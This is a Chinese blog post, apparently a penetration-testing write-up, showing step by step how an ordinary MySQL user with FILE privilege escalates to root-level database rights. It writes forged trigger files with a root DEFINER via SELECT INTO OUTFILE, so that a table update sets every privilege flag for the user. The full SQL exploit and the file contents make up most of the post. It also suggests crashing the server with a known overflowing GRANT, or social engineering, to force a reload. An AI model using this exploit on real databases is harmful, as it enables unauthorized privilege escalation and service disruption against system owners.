Loading... 这段时间在研究数据库提权,发现以往我们关注的都是root权限下或者sa权限下如何去提权,但是一旦遇到普通权限的数据库用户我们该怎么办,就放弃了吗? <!--more--> ## 0X00 什么是触发器 <hr /> 触发器(trigger)是数据库提供给程序员和数据分析员来保证数据完整性的一种方法,它是与表事件相关的特殊的储存过程,它的执行不是由程序调用,也不是手工启动,而是由事件来触发,当对一个表进行操作(insert,delete,update)时就会激活它执行。触发器经常用于加强数据的完整性约束和业务规则等。 ## 0X01 问题描述 <hr /> a)通过Mysql触发器提权`仅仅能获取一个Mysql Root权限的Mysql账号`,并不是系统提权(系统提权取决于包括mysql是不是以root方式运行的等等很多因素)。 b)渗透过程中所能利用的触发器提权中,`需要提权的账号需要有"File"权限,或者是有能力向mysql的目录下写入文件。` c)Mysql的触发器有6种类型分别是After insert,After delete,After update和Before insert,Before delete,Before update。 ## 0X02 实验过程 <hr /> <strong>在以下版本测试成功</strong>: a) CentOS 5.5 && Mysql-5.0.51a b) Win2003 x86 && Mysql-5.5.24 <strong>工作原理:</strong> a) 因为MySQL的触发器以明文文本的形式保存最对应库的目录下面,形式为触发器文件`*.TRG`和触发器描述文件`*.TRN`,可以通过select into outfile方式写入(所以需要"File"权限)。 b) Mysql在定义触发器的时候有一个定义触发器执行角色的字段DEFINER,默认的此字段与建立触发器的角色相同(即与'CREATE DEFINER'字段相同)。如果我们可以上传一个执行角色为root的触发器,那么就能以root权限执行触发语句。 c) 根据触发器的原理,我们本地新建一个触发器,然后修改相关配置,如`触发角色`,`触发条件`,`触发后执行语句`等等,制作exp实现提权。 <strong>实验环境:</strong> Win2003x86 && Mysql-5.5.24,默认安装Mysql,导入一个xxxCMS的数据库"cms",并为此数据库建立一个普通权限的用户"test" Test 账号添加方式: grant all privileges on cms.* to test@localhost identified by '1234'; root执行show databases;的结果: ![1.png][1] root执行select User,Host from mysql.user;的结果: ![2.png][2] test执行show databases;的结果: ![3.png][3] test执行use cms;并查询此数据库上存在的触发器show triggers; ![4.png][4] <strong>实验过程:</strong> a)本地生成触发器文件: 1.首先在本地的Mysql上建立正常的触发器,建立过程: mysql> delimiter // /** 此处定义操作块,在操作块结束前即使遇到;也不去执行,直到遇到结束符(//) **/ mysql> create trigger rootme after update on cms_users for each row /** 建立一个作用于表cms_users的、类型为After update的、名为rootme的触发器,for each row意思是每触发一次,就执行一次执行语句 **/ mysql> begin update mysql.user set Select_priv='Y',Insert_priv='Y',Update_priv='Y',Delete_priv='Y',Create_priv='Y',Drop_priv='Y',Reload_priv='Y',Shutdown_priv='Y',Process_priv='Y',File_priv='Y',Grant_priv='Y',References_priv='Y',Index_priv='Y',Alter_priv='Y',Show_db_priv='Y',Super_priv='Y',Create_tmp_table_priv='Y',Lock_tables_priv='Y',Execute_priv='Y',Repl_slave_priv='Y',Repl_client_priv='Y',Create_view_priv='Y',Show_view_priv='Y',Create_routine_priv='Y',Alter_routine_priv='Y',Create_user_priv='Y',Event_priv='Y',Trigger_priv='Y',Create_tablespace_priv='Y',ssl_type='Y',ssl_cipher='Y',x509_issuer='Y',x509_subject='Y',max_questions='Y',max_updates='Y',max_connections='Y' where User='test'; /** 默认格式begin为开头加上触发后执行的语句,此处语句为执行修改mysql.user表中test用户的权限的操作 **/ mysql> end; /** 触发器定义结束标志 **/ mysql> // /** 操作块结束标志,闭合开头定义的操作块 **/ 以上sql语句执行完毕就会在数据库cms的目录下生成两个文件:rootme.TRN 和 cms_users.TRG。 打开文件,发现DEFINER字段为:test@localhost ![5.png][5] 我们将其改为root@localhost,使此触发器触发后执行角色为root。 将这两个文件作为后面的提权Exp保留下来。 b)使用test用户登陆Mysql,并查询此数据库上存在的触发器: ![6.png][6] 经过查询触发器为空,我们把前面我们本地生成好的触发器文件`上传`到对应的数据库目录下,即cms目录下: /** 上传可以使用select * into outfile方式或者其他方式 **/ /** TRG文件 **/ /** SELECT 'TYPE=TRIGGERS' into outfile'C:wampbinmysqlmysql5.5.24datacmsrootme.TRG' LINES TERMINATED BY 'ntriggers='CREATE DEFINER=`root`@`localhost` trigger rootme after update on cms_users for each rownbegin nUPDATE mysql.user SET Select_priv='Y', Insert_priv='Y', Update_priv='Y', Delete_priv='Y', Create_priv='Y', Drop_priv='Y', Reload_priv='Y', Shutdown_priv='Y', Process_priv='Y', File_priv='Y', Grant_priv='Y', References_priv='Y', Index_priv='Y', Alter_priv='Y', Show_db_priv='Y', Super_priv='Y', Create_tmp_table_priv='Y', Lock_tables_priv='Y', Execute_priv='Y', Repl_slave_priv='Y', Repl_client_priv='Y', Create_view_priv='Y', Show_view_priv='Y', Create_routine_priv='Y', Alter_routine_priv='Y', Create_user_priv='Y', ssl_type='Y', ssl_cipher='Y', x509_issuer='Y', x509_subject='Y',max_questions='Y', max_updates='Y', max_connections='Y' WHERE User='test';nend'nsql_modes=0ndefiners='root@localhost'nclient_cs_names='gbk'nconnection_cl_names='gbk_chinese_ci'ndb_cl_names='utf8_general_ci'n'; **/ /** TRN文件 **/ /** SELECT 'TYPE=TRIGGERNAMEntrigger_table=rootme;' into outfile 'C:wampbinmysqlmysql5.5.24datacmscms_users.TNG'; **/ ![7.png][7] 再次查询Triggers: ![8.png][8] 发现触发器已经写入,前面我们写的触发类型是after update,作用于表cms_users,所以我们这里我们update cms_users这个表来触发。 触发之前mysql.user表: ![9.png][9] update cms_users这个表触发执行: ![10.png][10] 触发之后mysql.user表: ![11.png][11] 至此,"test"用户所拥有的权限跟"root"用户拥有的权限一致。 ## 0X03 balabala 文中部分位置"有可能"出现"不识别"的情况,比如上传文件后仍然查询不到触发器,比如触发了触发器修改了test的权限后发现并未生效。此时需要重启数据库重新加载配置,至于重启数据库的方式嘛,可以借鉴社工思路。Mysql5.0版本之前的可以利用之前爆出来的栈溢出漏洞造成MySQL Crash重启,达到重新加载配置文件的目的。 这个栈溢出的原理是使用一个没有grant权限的用户做一个虚假的grant操作,而这个操作是对一个根本不存在但很长(如下攻击实例是10000字符长度的库名,实际达到284个时就会触发)库进行赋权。 <strong>文中提到的两个文件</strong>:[cms_users.TRG和rootme.TRN][12] By:darksn0w@live.cn In wooyun drops:[http://drops.wooyun.org/tips/3435][13] In exploit-db:[http://www.exploit-db.com/exploits/23076/][14] *本文为`wooyaa`原创,转载请提及`wooyaa`以及原文链接,其他均参照[MIT][15]协议。 [1]: https://wooyaa.me/usr/uploads/2023/04/1608067664.png [2]: https://wooyaa.me/usr/uploads/2023/04/948893240.png [3]: https://wooyaa.me/usr/uploads/2023/04/1936373266.png [4]: https://wooyaa.me/usr/uploads/2023/04/2709212758.png [5]: https://wooyaa.me/usr/uploads/2023/04/255228763.png [6]: https://wooyaa.me/usr/uploads/2023/04/1879327556.png [7]: https://wooyaa.me/usr/uploads/2023/04/4205016526.png [8]: https://wooyaa.me/usr/uploads/2023/04/2418719282.png [9]: https://wooyaa.me/usr/uploads/2023/04/149113804.png [10]: https://wooyaa.me/usr/uploads/2023/04/777144852.png [11]: https://wooyaa.me/usr/uploads/2023/04/900457902.png [12]: https://wooyaa.me/usr/uploads/2023/04/906091807.zip [13]: http://drops.wooyun.org/tips/3435 [14]: http://www.exploit-db.com/exploits/23076/ 最后修改:2023 年 04 月 28 日 © 允许规范转载 打赏 赞赏作者 支付宝微信 赞 0 如果觉得我的文章对你有用,请随意赞赏